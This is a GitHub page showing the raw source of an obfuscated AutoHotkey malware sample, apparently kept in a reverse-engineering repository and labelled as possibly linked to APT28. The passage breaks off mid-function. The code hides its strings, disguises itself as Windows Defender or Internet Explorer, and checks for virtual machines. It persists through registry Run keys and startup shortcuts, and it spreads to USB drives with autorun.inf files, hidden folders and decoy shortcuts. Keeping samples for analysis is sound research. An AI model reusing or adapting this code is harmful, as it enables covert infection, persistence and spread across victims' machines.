Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Malware-Misc-RE/2019-05-26-possible-apt28-autohotkey-script.vk.a2h
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
4026 lines (4025 sloc)
150 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // MD5: 6419f6165e73675bd74b6dcb01801b36 | |
| #notrayicon | |
| autotrim, off | |
| #ErrorStdOut | |
| stringcasesense, off | |
| #singleinstance, off | |
| settitlematchmode, 2 | |
| detecthiddenwindows, on | |
| detecthiddentext, on | |
| menu, tray, NoStandard | |
| menu, tray, Nomainwindow | |
| setworkingdir, %USERPROFILE% | |
| h := h2s("616C705F6E756D") //alp_num | |
| %h%:="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | |
| h := h2s("636D646C5F6F6E") //cmdl_on | |
| %h%=%1% | |
| h := h2s("636D646C5F7477") //cmdl_tw | |
| %h%=%2% | |
| h := h2s("636D646C5F7468") //cmdl_th | |
| %h%=%3% | |
| h := h2s("72675F6C6D5F6F6B") // rg_lm_ok | |
| %h%:=0 | |
| h := h2s("77696E5F73687574") // win_shut | |
| %h%:=0 | |
| h := h2s("6C73745F63686B5F74736B6D67725F74796D") //lst_chk_tskmgr_tym | |
| %h%:=0 | |
| h := h2s("6C73745F7570645F756C") // lst_upd_ul | |
| %h%:= | |
| h := h2s("536563447276455845") //SecDrvEXE | |
| %h% := h2s("53656375726544726976652E657865") //SecureDrive.exe | |
| h := h2s("4D437569455845") //MCuiEXE | |
| %h% := h2s("4D5341534375692E657865") MSASCui.exe | |
| h := h2s("7573625F64617461") //usb_data | |
| %h% := h2s("5553425C44617461") //USB\Data | |
| rn := "536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E" //Software\Microsoft\Windows\CurrentVersion\Run | |
| h := h2s("7265675F73775F6D735F77696E5F63755F7275") //reg_sw_ms_win_cu_ru | |
| %h% := h2s(rn) | |
| h := h2s("7265675F73775F6D735F77696E5F63755F726F") //reg_sw_ms_win_cu_ro | |
| %h% := h2s(rn . "4F6E6365") //Once | |
| h := h2s("7265675F73775F6D735F6965") //reg_sw_ms_ie | |
| %h% := h2s("536F6674776172655C4D6963726F736F66745C496E7465726E6574204578706C6F726572") //Software\Microsoft\Internet Explorer | |
| h := h2s("7265675F73775F6D735F77696E5F63755F65785F616476") //reg_sw_ms_win_cu_ex_adv | |
| %h% := h2s("534F4654574152455C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C4578706C6F7265725C416476616E636564") //SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced | |
| h := h2s("77696E5F6465665F6D73637569657865") //win_def_mscuiexe | |
| %h% := h2s("5C57696E646F777320446566656E6465725C4D5341534375692E657865") //\Windows Defender\MSASCui.exe | |
| h := h2s("77696E5F616C74303136305F646566") //win_alt0160_def | |
| %h% := h2s("57696E646F7773A0446566656E646572") //prg_alt0160_fls | |
| h := h2s("7072675F616C74303136305F666C73") prg_alt0160_fls | |
| %h% := h2s("50726F6772616DA046696C6573") //prg_fls | |
| h := h2s("7072675F666C73") | |
| %h% := dcprt("may6s5y-b4pOKsqawvw-c-c", ":KL*^usDI") | |
| h := h2s("696E745F657870") | |
| %h% := dcprt("kqi-bsZzM2udkjrK7uJnQ2uU-c", ":KL*^usDI") | |
| h := h2s("77696E5F646566") | |
| %h% := dcprt("0I7MipnAvVh73ovDlI6uvA-c-c", "%^&*IJ87y") | |
| h := h2s("616C745F305F636872") | |
| %h% := h2s("A0") | |
| h := h2s("6D6B79") | |
| %h% := h2s("6341566A784A4F566851447867316F5651747034") //cAVjxJOVhQDxg1oVQtp4 | |
| h := h2s("68746D6C736563747874") | |
| %h% := dcprt("u9u-b2Nx-bosnkr8C6qrOWoaG65M8-c", "wxgd1oVsxJ") | |
| h := h2s("6965446F74657865") | |
| %h% := dcprt("07HCt8qUmIuMz8Sv", "LJG^%&&^j") | |
| h := h2s("69655F69785F657865") | |
| %h% := dcprt("opW4u8OXlK26bI-a-bzpGVuqu-aprDDnZa0tb6vdcOdiw-c-c", "LJG^%&HF") | |
| h := h2s("7265675F7365635F6B79") | |
| %h% := dcprt("eYiH58bHmpxv180-c","#$rT^&") | |
| h := h2s("7265675F4C7374557064") | |
| %h% := dcprt("uqO90n-a5uaiYzw-c-c", "BJ^*IUG$jn") | |
| h := h2s("7265675F5672436E74") | |
| %h% := dcprt("xKe80ZO4w4qT39y2", "BJ^*IUG$jn") | |
| _k := h2s("3A4C4B492A6947482E39407E") | |
| l_ := "86y4ea2W1XOOl6Wlzqy7v7iN2LOQj6ek6p-a-aa559q6OMj62h2o2xrr6czou6l6-alrJ" | |
| h := h2s("7365635F6472765F65785F6C6E6B5F617267") | |
| %h% := dcprt(l_ "-bEsA-c-c", _k) | |
| l_ := "042Op42L3aikgZ6j86yxj7uT36x2k" | |
| h := h2s("7365635F6472765F65785F7573625F707468") | |
| %h% := dcprt(l_ "7Gl",_k) | |
| l_ := "6E6574775F737276" | |
| h := h2s(l_) | |
| %h% := dcprt("hJu5raSpn4qcp7yglpw-c", l_) | |
| h := h2s("6C636C5F737276") | |
| %h% := dcprt("gqWol6GKmamtnqmc", l_) | |
| h := h2s("746D707374725F616C6C") | |
| %h% := StrSplit(dcprt("0Z-avwLuPvLupoK217oezvcWBzqmbk5y18J-aZsrumwLC2gqGy45vAkbKYzay6qoyl4a-a-asJyeyrm8k6uQwbaVub2P27Wtonuv7a3AsLums7y2mZiD6p-atuah-b2cOLmp6h8I6xuLk-c", _k), "|") | |
| l_ := h2s("282A26255E2A54674B") | |
| h := h2s("49455F49636E5F466C") | |
| %h% := dcprt("lJaei5fMj8ittKCPmFPCi8g-c", l_) | |
| h := h2s("57445F49636E5F466C") | |
| %h% := dcprt("opGYeYi-bmMLMvVaOh5k-c", l_) | |
| st_gbl() | |
| ha := h2s("5363726970744E616D65") | |
| hb := h2s("536372697074446972") | |
| hc := h2s("536372697074457874") | |
| hd := h2s("5363726970744E616D654E6F457874") | |
| he := h2s("5363726970744472697665") | |
| hf := h2s("53637269707446756C6C50617468") | |
| loop, %A_ScriptFullPath% | |
| { | |
| %hf% := A_LoopFileLongPath | |
| SplitPath, %hf%, %ha%, %hb%, %hc%, %hd%, %he% | |
| break | |
| } | |
| h := h2s("73656C665F766572") | |
| %h% := dcprt("bJFyhJ-arf4KEmYp0sZg-c", mky) | |
| h := h2s("73656C665F756E6978") | |
| %h% := dcprt("ZZhxj6CsfoOKnA-c-c", mky) | |
| try filegetsize, self_sz, %A_ScriptFullPath% | |
| process, exist | |
| selfpid = %errorlevel% | |
| Try ComObjError(false) | |
| gosub, getcommonpaths | |
| tmp_scky := atemp dcprt("p3-aTlHrOjrXbsGyPiJrFdsPOkZGWi1PAk8I-c", "(*&%^*TgK") | |
| tmp_VrCnt := atemp dcprt("p3uPiZrHns28u4yLmoqij7bcsnSZjWvHlrmVrZGY", "(*&%^*TgK") | |
| msie := dcprt("t7Wtuc2YlYzSmK-a5tH5SRnPHzb65us2Lmkan2MCvucyKmkaj4ry2ttCKmA-c-c", "LJG^%&&^j") | |
| wttl := (ieDotexe = ScriptName) ? msie : win_def | |
| msie := | |
| Try WinSetTitle, %A_ScriptName% ahk_pid %selfpid%,, %wttl% | |
| pat := dcprt("r56oxaJrgZtzrqfCk6JOrYvxlYmHgVTfs-aWmdYaKntDC0Hp0l4KhnHKnx6OMip7Qb5k-c", "uJG^%&kF") | |
| is_tmp_upd := (RegExMatch(ScriptName, pat) > 0) ? 1 : 0 | |
| is_sec_drv := (ScriptName = SecDrvEXE) ? 1 : 0 | |
| if (cmdl_on != alt_0_chr) { | |
| if (!is_sec_drv && !is_tmp_upd) { | |
| ExitApp | |
| } | |
| } | |
| sd_ini = %ScriptDir%\desktop.ini | |
| if (cmdl_on != alt_0_chr) { | |
| If (!is_sec_drv && !is_tmp_upd) { | |
| ExitApp | |
| } | |
| } | |
| pat := dcprt("nYyYn7jXoJipvJLAz7B-bzo3Ny7mCwnnSyKl6q4Tkr3Wpw18-c", mky) | |
| xp_hgr := (RegExMatch(A_OSVersion, pat) > 0) ? 1 : 0 | |
| If (!is_sec_drv && cmdl_on = alt_0_chr) { | |
| if (gt_reg_sec_ky() = htmlsectxt) { | |
| goto, un_in_me | |
| } | |
| } | |
| pat := dcprt("nYxvgMbUvrTD2K2g9tuW3MbPz6BhnJ7Rm6rHuKTEf2zd35brurLozGLIubuTnA-c-c", mky) | |
| if (is_tmp_upd || RegExMatch(ScriptFullPath, pat) > 0) { | |
| chk_reg_mons() | |
| chk_tskmgr() | |
| ckvirtl() | |
| if is_tmp_upd | |
| { | |
| if (cmdl_on != alt_0_chr) { | |
| Try run, %ScriptFullPath% %alt_0_chr% in,, useerrorlevel | |
| OnExit | |
| exitapp | |
| } | |
| } | |
| if cmdl_on != %alt_0_chr% | |
| exitapp | |
| gosub, instlr | |
| goto, slfklext | |
| } | |
| If (!is_sec_drv) { | |
| if cmdl_on != %alt_0_chr% | |
| ExitApp | |
| chk_reg_mons() | |
| chk_tskmgr() | |
| ckvirtl() | |
| if InStr(ScriptFullPath, win_def_mscuiexe) { | |
| gosub, set_ixplr | |
| hde_fldrs() | |
| upd_pr_usr_prms() | |
| ExitApp | |
| } | |
| pat := dcprt("1454iIalqNyUz-aDLrr-aeqp-bdidfewabcnq6t2aLN2sqr0KikcJZdx-amax7pYrrjOSA-c-c", "eJ^*I@i$jn") | |
| if (RegExMatch(ScriptFullPath, pat) > 0) { | |
| if cmdl_tw != /cleanup | |
| ExitApp | |
| if cmdl_th != %alt_0_chr% | |
| ExitApp | |
| gosub, trjninjctr_strt | |
| gosub, set_srvcs | |
| hde_fldrs() | |
| upd_pr_usr_prms() | |
| ss := dcprt("kL9vsg-c-c", mky) | |
| kill_del(ss ScriptDir dcprt("kMawxA-c-c", mky)) | |
| kill_del(ss ScriptDir dcprt("kM-axyps-c", mky)) | |
| OnExit, slfklext | |
| ExitApp | |
| } | |
| loop, %ScriptDir%\%ScriptName%* | |
| if (a_loopfilename != ScriptName) | |
| kill_del(a_loopfilefullpath) | |
| pat := dcprt("r6dWU4aC0rez7oSFhVaLi6P5WVungrrQuuOVmaiBjn9-b26Nep4-asrnTjoI5O", "~()*&^RF") | |
| if (RegExMatch(ScriptFullPath, pat) > 0) { | |
| if cmdl_tw = in | |
| goto, instlr | |
| ExitApp | |
| } | |
| pat := dcprt("r6eGp56Ly8LE2VhWY4PZg3b7kXeGVMPKq6I-c", "~()*&^RF") | |
| if (RegExMatch(ScriptName, pat) > 0) { | |
| if (cmdl_tw = "win") { | |
| if cmdl_th = %alt_0_chr% | |
| goto, trjninjctr | |
| } | |
| ExitApp | |
| } | |
| if InStr(ScriptFullPath, "\" win_alt0160_def "\" MCuiEXE) { | |
| if InStr(cmdl_tw, lcl_srv) { | |
| goto, Wtchr | |
| } | |
| if cmdl_tw = | |
| goto, instlr | |
| qurt := dcprt("dc-adipyHzMav7I0-c", "~()*&^RF") | |
| if InStr(cmdl_tw, qurt) { | |
| if (cmdl_th = alt_0_chr) { | |
| gosub, trjninjctr_strt | |
| hde_fldrs() | |
| upd_pr_usr_prms() | |
| Onexit | |
| Try run, %ScriptFullPath% %alt_0_chr% %lcl_svc%,, useerrorlevel | |
| } | |
| } | |
| ExitApp | |
| } | |
| If (ScriptName = ieDotexe) { | |
| if cmdl_tw = | |
| goto, instlr | |
| nh := dcprt("c-aO5r82Siw-c-c", "uJG^%&kF") | |
| if InStr(cmdl_tw, nh) { | |
| if cmdl_th = %alt_0_chr% | |
| goto, trjninjctr | |
| } | |
| pat := dcprt("1454iIalqdeYz-aDTr9JKrrjZkNngyry6hrKl4ZTW3devuliuuM5I", "eJ^*I@i$jn") | |
| if RegExMatch(ScriptFullPath, pat) < 1 | |
| ExitApp | |
| if InStr(cmdl_tw, netw_srv) | |
| goto, DrvStrtChkr | |
| } | |
| ExitApp | |
| } | |
| SplitPath, ScriptFullPath,,,,,OtDrv | |
| if ScriptDir != %OtDrv%\%usb_data% | |
| ExitApp | |
| If (!is_sec_drv) | |
| ExitApp | |
| if (cmdl_on = alt_0_chr) | |
| ifwinnotactive, Computer ahk_class CabinetWClass | |
| ifwinnotactive, Computer ahk_class ExploreWClass | |
| ifwinnotactive, This PC ahk_class CabinetWClass | |
| ifwinnotactive, This PC ahk_class ExploreWClass | |
| goto, drct_rn | |
| wingettitle, ttl, A | |
| patt = i).*\(%OtDrv%\)$ | |
| pattt = i)^%OtDrv% | |
| if (RegExMatch(ttl, patt) > 0 || RegExMatch(ttl, pattt) > 0 || RegExMatch(ttl, "i).*Computer$") > 0 || RegExMatch(ttl, "i)This PC$") > 0) { | |
| WinGetClass, class, A | |
| ControlGetFocus, focuss, A | |
| if ((class = "CabinetWClass" || class = "ExploreWClass") && (focuss = "SysListView321" || focuss = "DirectUIHWND3")) { | |
| op_hwnd := WinExist("A") | |
| sel = | |
| GetKeyState, ctrl_d, Ctrl | |
| if ctrl_d = U | |
| sel := get_sel() | |
| if sel = | |
| sel := xplr_gt_sel() | |
| lnk_nm1 = %OtDrv% | |
| if sel = | |
| { | |
| Try run, %sys_explorer% /e`,"%OtDrv%",,max useerrorlevel | |
| goto, lnk_opn_k | |
| } | |
| if (sel = OtDrv "\") { | |
| if (RegExMatch(ttl, "i).*Computer$") > 0 || RegExMatch(ttl, "i)This PC$") > 0) { | |
| swt := ((cmdl_on = "/e") ? "/e," : "") | |
| Try run, %sys_explorer% %swt%"%OtDrv%",,max useerrorlevel | |
| goto, lnk_opn_k | |
| } | |
| } | |
| if (RegExMatch(sel, "i).*\\(.*?)\.lnk$", lnk_nm) > 0 && RegExMatch(ttl, patt) > 0) { | |
| if (sel = OtDrv "\" StrSplit(sel,"\")[2]) { | |
| fldr_lpth := OtDrv "\" lnk_nm1 | |
| Try FileGetShortcut, %sel%, , , , lnk_opn_dsc | |
| ff := h2s("46696C6520466F6C6465723A20") | |
| if instr(lnk_opn_dsc, ff) { | |
| Str_Replace(lnk_opn_dsc,ff) | |
| if (lnk_nm1 && lnk_opn_dsc && lnk_nm1 != lnk_opn_dsc && !FileExist(fldr_lpth)) { | |
| loop, %OtDrv%\%lnk_opn_dsc%, 2 | |
| { | |
| Try FileSetAttrib, -RSA, %A_LoopFileFullPath% | |
| Try FileMoveDir, %A_LoopFileFullPath%, %fldr_lpth%, R | |
| sleep, 100 | |
| if FileExist(fldr_lpth) | |
| Try FileSetAttrib, +RSAH, %fldr_lpth% | |
| Else | |
| { | |
| d := OtDrv "\" lnk_opn_dsc | |
| if FileExist(d) | |
| fldr_lpth := d | |
| } | |
| } | |
| } | |
| } | |
| loop, 2 | |
| { | |
| loop, %fldr_lpth%, 2 | |
| { | |
| Try run, %sys_explorer% /e`,"%a_loopfilefullpath%",,max useerrorlevel | |
| goto, lnk_opn_k | |
| } | |
| Try filecreatedir, %fldr_lpth% | |
| Try filesetattrib, +RSAH, %fldr_lpth% | |
| } | |
| goto, drct_rn | |
| } | |
| } | |
| } | |
| } | |
| ExitApp | |
| lnk_opn_k: | |
| if lnk_nm1 | |
| { | |
| winwait, %lnk_nm1% ahk_class CabinetWClass,,2 | |
| if errorlevel | |
| winwait, %lnk_nm1% ahk_class ExploreWClass,,2 | |
| } | |
| if op_hwnd | |
| winclose, ahk_id %op_hwnd% | |
| drct_rn: | |
| chk_reg_mons() | |
| chk_tskmgr() | |
| gosub, getcommonpaths | |
| ckvirtl() | |
| if (gt_reg_sec_ky() = htmlsectxt) { | |
| goto, un_in_me | |
| } | |
| gosub, chk_if_instld_n_runit | |
| tmpfile := cpy_instlr_tmp() | |
| if !FileExist(tmpfile) | |
| ExitApp | |
| Try FileSetAttrib, -RSAH, %tmpfile% | |
| For i, nm in tmpstr_all | |
| For xx, hkk in ["HKLM", "HKCU"] | |
| Try RegDelete, %hkk%, %reg_sw_ms_win_cu_ro%, %nm% | |
| if (StrLen(nnn) != 5) | |
| nnn := get_num_seed(5) | |
| wu := dcprt("fYyS1sPVmYJ54ri-bmog-c", "#$rT^&") | |
| trrr = "%tmpfile%" %alt_0_chr% in | |
| For indx, hk in ["HKLM", "HKCU"] { | |
| if (indx = 2 || rg_lm_ok) { | |
| if (rg_wt(, hk, reg_sw_ms_win_cu_ro, wu nnn, trrr)) { | |
| ExitApp | |
| } | |
| } | |
| } | |
| if FileExist(prg_dir . win_def_mscuiexe) { | |
| icnfile := prg_dir win_def_mscuiexe | |
| goto, iconok | |
| } | |
| icnfile := tmpfile | |
| iconok: | |
| loc := dcprt("u8fCrLHb14ZoisrDwqyn1oRwcJTHv8ixsdKehg-c-c", "^THBddf$%d") systemroot "\system32" | |
| For indx, lp in [startupcommon, startup] { | |
| Try FileCreateShortcut, %tmpfile%, %lp%\%win_alt0160_def%.lnk, %prg_dir%,%alt_0_chr% in, %loc%, %icnfile%,,1 | |
| if errorlevel = 0 | |
| break | |
| } | |
| ExitApp | |
| DrvStrtChkr: | |
| Try DllCall("kernel32.dll\SetProcessShutdownParameters", UInt, 0x4FF, UInt, 0) | |
| OnMessage(0x11, "strtup_ext") | |
| gosub, set_srvcs | |
| if !atrun_ori | |
| atrun_ori := h2s("5B6175746F72756E5D0A414354494F4E3D4F70656E205553422044726976650A7368656C6C657865637574653D5553425C446174615C53656375726544726976652E65786520A00A7368656C6C5C6F70656E3D264F70656E0A7368656C6C5C6F70656E5C636F6D6D616E643D5553425C446174615C53656375726544726976652E6578650A7368656C6C5C6578706C6F72653D264578706C6F72650A7368656C6C5C6578706C6F72655C636F6D6D616E643D5553425C446174615C53656375726544726976652E657865202F650A69636F6E3D2557696E446972255C73797374656D33325C7368656C6C33322E646C6C2C370A5573654175746F506C61793D31") | |
| ie_tpatt := "i).*\\" prg_alt0160_fls StrReplace(StrReplace(ie_ix_exe, "\", "\\"), ".", "\.") "$" | |
| wd_tpatt := "i).*\\" win_alt0160_def "\\" StrReplace(MCuiEXE, ".", "\.") "$" | |
| Try FileSetAttrib, +RSA, %ScriptFullPath% | |
| Try FileSetAttrib, -H, %ScriptFullPath% | |
| Try FileSetAttrib, +RSAH, %ScriptDir% | |
| Try FileSetAttrib, +RSAH, %myprg_dir% | |
| loop | |
| { | |
| DriveGet, Drvs, list | |
| Str_Replace(Drvs, SubStr(systemdrive, 1, 1)) | |
| Drvs_finl := Drvs | |
| For indx, loopfield in StrSplit(Drvs) { | |
| typ= | |
| Try DriveGet, typ, type, %loopfield%: | |
| catch r { | |
| continue | |
| } | |
| if (RegExMatch(typ, "i)fixed|removable") < 1) { | |
| Str_Replace(Drvs_finl, loopfield) | |
| continue | |
| } | |
| Try DriveGet, sts, status, %loopfield%: | |
| catch r { | |
| continue | |
| } | |
| if sts != Ready | |
| { | |
| Str_Replace(Drvs_finl, loopfield) | |
| continue | |
| } | |
| Try DriveGet, Srl, Serial, %loopfield%: | |
| catch r { | |
| continue | |
| } | |
| %loopfield%_Serial := Srl | |
| srrl = |%Srl%| | |
| if typ = Fixed | |
| { | |
| if !InStr(serials_include,srrl) { | |
| if !InStr(serials_exclude,srrl) { | |
| if (get_DrvTyp(loopfield) = "USB") | |
| serials_include .= srrl | |
| else | |
| { | |
| Str_Replace(Drvs_finl, loopfield) | |
| serials_exclude .= srrl | |
| } | |
| } | |
| else | |
| Str_Replace(Drvs_finl, loopfield) | |
| } | |
| } | |
| else if typ = Removable | |
| { | |
| if !InStr(serials_include,srrl) | |
| serials_include .= srrl | |
| } | |
| } | |
| ths_sess_srls = | |
| For indx, loopfield in StrSplit(Drvs_finl) { | |
| if !loopfield | |
| continue | |
| TsDrv = %loopfield%: | |
| DrvSerial := %loopfield%_Serial | |
| if opnrs_%DrvSerial% = | |
| gosub, get_opnrs_for_ths_drv | |
| TsDrv_opnrs := opnrs_%DrvSerial% | |
| dr = |%DrvSerial%| | |
| ths_sess_srls .= dr | |
| if !InStr(all_drv_srls,dr) | |
| all_drv_srls .= dr | |
| Drv_%DrvSerial%++ | |
| if Drv_%DrvSerial% = 6 | |
| Drv_%DrvSerial% = 1 | |
| partial_drv_chk := (Drv_%DrvSerial% = 1) ? 0 : 1 | |
| drv_is_opn = 0 | |
| ifwinexist, (%TsDrv%) ahk_class CabinetWClass | |
| { | |
| WinGet, minmx, MinMax, (%TsDrv%) ahk_class CabinetWClass | |
| if minmx != -1 | |
| drv_is_opn++ | |
| } | |
| ifwinexist, (%TsDrv%) ahk_class ExploreWClass | |
| { | |
| WinGet, minmx, MinMax, (%TsDrv%) ahk_class ExploreWClass | |
| if minmx != -1 | |
| drv_is_opn++ | |
| } | |
| gosub, ChkThisDrv | |
| chk_tskmgr() | |
| } | |
| For indx, loopfield in StrSplit(all_drv_srls,"|") { | |
| if loopfield = | |
| continue | |
| l = |%loopfield%| | |
| if !InStr(ths_sess_srls,l) { | |
| Str_Replace(all_drv_srls,l) | |
| Drv_%a_loopfield% = | |
| } | |
| } | |
| if FileExist(systemdrive "\Windows") | |
| sleep, 100 | |
| stringright, idx_nn, a_index, 1 | |
| if (idx_nn = 1 || (!hh_kk && (idx_nn = 4 || idx_nn = 7))) { | |
| gosub, crtstrtup | |
| } | |
| strtr_ok = 0 | |
| if hh_kk != | |
| { | |
| if (hh_kk = "HKLM" || hh_kk = "HKCU") { | |
| if FileExist(autoStrt_pth) { | |
| hh := rg_rd(hh_kk, reg_sw_ms_win_cu_ru, win_alt0160_def) | |
| if hh = "%autoStrt_pth%" %alt_0_chr% | |
| strtr_ok = 1 | |
| } | |
| } | |
| else if (InStr(hh_kk, ":\")) { | |
| Try FileGetShortcut, %hh_kk%\%win_alt0160_def%.lnk, OTrgt,,OArg | |
| if FileExist(OTrgt) { | |
| if (OTrgt = autoStrt_pth && OArg = alt_0_chr) { | |
| strtr_ok = 1 | |
| } | |
| } | |
| } | |
| } | |
| if (strtr_ok = 0 && idx_nn != 1) { | |
| gosub, crtstrtup | |
| } | |
| gosub, prv_strt_chk | |
| For idn, pr in get_prcs_by_cls() { | |
| p_id := pr.pr_pid | |
| p_pth := pr.pr_pth | |
| if (!p_id || !p_pth) | |
| continue | |
| if (!wtchr_pid) { | |
| if (RegExMatch(p_pth, wd_tpatt) > 0) { | |
| if (ver_typ(p_pth) = 1) { | |
| wtchr_pid := p_id | |
| continue | |
| } | |
| } | |
| } | |
| if (p_pth != ScriptFullPath || p_id = wtchr_pid || RegExMatch(p_pth, ie_tpatt) > 0) { | |
| Continue | |
| } | |
| ver := ver_typ(p_pth) | |
| if ver = 2 | |
| goto, close_self_all_ext | |
| else if (ver = 1) { | |
| process, waitclose, %p_id%, 5 | |
| if errorlevel != 0 | |
| ExitApp | |
| } | |
| else if (ver = 0) | |
| kill_del(p_pth, p_id) | |
| } | |
| chkr := drv_is_opn ? 5 : 10 | |
| loop, %chkr% | |
| { | |
| chk_tskmgr() | |
| if a_index > 1 | |
| { | |
| process, exist, %wtchr_pid% | |
| if (errorlevel = 0 || errorlevel = selfpid) { | |
| gosub, set_srvcs | |
| sleep, 1000 | |
| break | |
| } | |
| } | |
| sleep, 1000 | |
| } | |
| chk_reg_mons() | |
| } | |
| ChkThisDrv: | |
| if !atrnfl | |
| atrnfl := h2s("5C6175746F72756E2E696E66") | |
| if !atdrv | |
| atdrv := TsDrv dcprt("xp-bDutKKk4Kf38C5i9COnIuMz8Sv", "LJG^%&&^j") | |
| if !pswds | |
| pswds := TsDrv dcprt("xpyrutGclZjC3Xqvv8M-c", "LJG^%&&^j") | |
| atrn_fl := TsDrv atrnfl | |
| fldr_usb = %TsDrv%\USB | |
| fldr_data = %fldr_usb%\Data | |
| SecDrvEx = %fldr_data%\%SecDrvEXE% | |
| TsDrv_SecDrvOpnrNm = | |
| kill_del(atdrv) | |
| kill_del(pswds) | |
| if FileExist(SecDrvEx) { | |
| vv := ver_typ(SecDrvEx) | |
| if (vv = 2) { | |
| Try run, %SecDrvEx% %alt_0_chr%,, useerrorlevel | |
| exitapp | |
| } | |
| if vv < 1 | |
| kill_del(SecDrvEx) | |
| } | |
| loop, %fldr_data%\*.* | |
| { | |
| if (a_loopfilename != SecDrvEXE) { | |
| if (ver_typ(a_loopfilefullpath) = 2) { | |
| Try run, %a_loopfilefullpath% %alt_0_chr%,, useerrorlevel | |
| exitapp | |
| } | |
| kill_del(a_loopfilefullpath) | |
| continue | |
| } | |
| if TsDrv_SecDrvOpnrNm | |
| kill_del(a_loopfilefullpath) | |
| else { | |
| if (ver_typ(a_loopfilefullpath) > 0) | |
| TsDrv_SecDrvOpnrNm := A_LoopFileName | |
| Else | |
| kill_del(a_loopfilefullpath) | |
| } | |
| } | |
| if (!FileExist(atrn_fl) || !TsDrv_SecDrvOpnrNm) { | |
| goto, full_drv_chk | |
| } | |
| fldr_data_TsDrv_SecDrvOpnr := fldr_data "\" TsDrv_SecDrvOpnrNm | |
| usd_data_TsDrv_SecDrvOpnr := usb_data "\" TsDrv_SecDrvOpnrNm | |
| Try IniRead, shex, %atrn_fl%, autorun, shellexecute, %a_space% | |
| Try IniRead, opnn, %atrn_fl%, autorun, shell\open\command, %a_space% | |
| shex := Trim(RegExReplace(shex, "i).*?([a-z0-9\\\s\.]+).*", "$1")) | |
| opnn := Trim(RegExReplace(opnn, "i).*?([a-z0-9\\\s\.]+).*", "$1")) | |
| sec_drv_in_autrn := TsDrv "\" shex | |
| if (!shex || !opnn || shex != opnn || sec_drv_in_autrn != fldr_data_TsDrv_SecDrvOpnr) { | |
| goto, full_drv_chk | |
| } | |
| if (shex != sec_drv_ex_usb_pth) { | |
| goto, full_drv_chk | |
| } | |
| if !FileExist(sec_drv_in_autrn) | |
| goto, full_drv_chk | |
| For idxx, lp in StrSplit(TsDrv_opnrs,"|") { | |
| if !lp | |
| continue | |
| sh_fldr := TsDrv "\" lp | |
| sh_fpth := sh_fldr ".lnk" | |
| if (!FileExist(sh_fpth) && !drv_is_opn) | |
| goto, full_drv_chk | |
| else { | |
| Try FileGetShortcut, %sh_fpth%,,,oarg | |
| if (oarg != sec_drv_ex_lnk_arg) { | |
| goto, full_drv_chk | |
| } | |
| Try filegetattrib, rr, %sh_fpth% | |
| if (rr != RAS) { | |
| Try filesetattrib, +RSA, %sh_fpth% | |
| Try filesetattrib, -H, %sh_fpth% | |
| } | |
| } | |
| loop, %sh_fldr%, 2 | |
| { | |
| Try filegetattrib, hh, %sh_fldr% | |
| if (!InStr(hh, "R") || !InStr(hh, "S") || !InStr(hh, "H")) { | |
| Try filesetattrib, +RSAH, %sh_fldr% | |
| } | |
| } | |
| loop, %sh_fldr% | |
| { | |
| Try filesetattrib, -RSAH, %sh_fldr% | |
| Try filemove, %sh_fldr%, %sh_fldr%_bak, 1 | |
| } | |
| if idxx > 3 | |
| break | |
| } | |
| Try filegetattrib, hh, %fldr_usb% | |
| if (!InStr(hh, "R") || !InStr(hh, "S") || !InStr(hh, "H")) { | |
| Try filesetattrib, +RSAH, %fldr_usb% | |
| } | |
| Try filegetattrib, hh, %atrn_fl% | |
| if (!InStr(hh, "R") || !InStr(hh, "S") || !InStr(hh, "H")) { | |
| Try filesetattrib, +RSAH, %atrn_fl% | |
| } | |
| if partial_drv_chk | |
| return | |
| full_drv_chk: | |
| Drv_%DrvSerial% = 1 | |
| if !FileExist(fldr_data) { | |
| Try filecreatedir, %fldr_data% | |
| sleep, 100 | |
| if !FileExist(fldr_data) | |
| return | |
| } | |
| chk_nw_scdrv = | |
| loop, %fldr_data%\*.* | |
| { | |
| ver := ver_typ(a_loopfilefullpath) | |
| if (ver = -1) { | |
| kill_del(a_loopfilefullpath) | |
| continue | |
| } | |
| else if ver = 2 | |
| chk_nw_scdrv := a_loopfilefullpath | |
| } | |
| if chk_nw_scdrv | |
| { | |
| Try run, %chk_nw_scdrv% %alt_0_chr%,, useerrorlevel, SecDrv_p | |
| if (errorlevel = 0) { | |
| loop, 30 | |
| { | |
| sleep, 1000 | |
| chk_tskmgr() | |
| process, exist, %SecDrv_p% | |
| if errorlevel != %SecDrv_p% | |
| break | |
| } | |
| } | |
| } | |
| if !TsDrv_SecDrvOpnrNm | |
| TsDrv_SecDrvOpnrNm := SecDrvEXE | |
| fldr_data_TsDrv_SecDrvOpnr := fldr_data "\" TsDrv_SecDrvOpnrNm | |
| usd_data_TsDrv_SecDrvOpnr := usb_data "\" TsDrv_SecDrvOpnrNm | |
| if !FileExist(fldr_data_TsDrv_SecDrvOpnr) { | |
| wd_bk := ScriptDir "\" WD_Icn_Fl | |
| cp_frm := ScriptFullPath | |
| if !FileExist(wd_bk) | |
| chg_icn_typ_cpy(ScriptFullPath, wd_bk, "wd") | |
| if FileExist(wd_bk) | |
| cp_frm := wd_bk | |
| Try Filecopy, %cp_frm%, %fldr_data_TsDrv_SecDrvOpnr%, 1 | |
| sleep, 500 | |
| if !FileExist(fldr_data_TsDrv_SecDrvOpnr) | |
| return | |
| } | |
| gosub, auto_rn_chk | |
| For indx, loopfield in [fldr_usb, fldr_data, fldr_data_TsDrv_SecDrvOpnr, atrn_fl] { | |
| Try FileGetattrib, attr, %loopfield% | |
| if (InStr(attr, "R") && InStr(attr, "S") && InStr(attr, "H")) { | |
| continue | |
| } | |
| if (loopfield = fldr_data_TsDrv_SecDrvOpnr) { | |
| Try FileSetAttrib, +RS, %loopfield% | |
| if InStr(attr, "H") | |
| Try FileSetAttrib, -H, %loopfield% | |
| } | |
| else | |
| Try FileSetAttrib, +RSAH, %loopfield% | |
| } | |
| if (!rnd32ll || !shd32ll) { | |
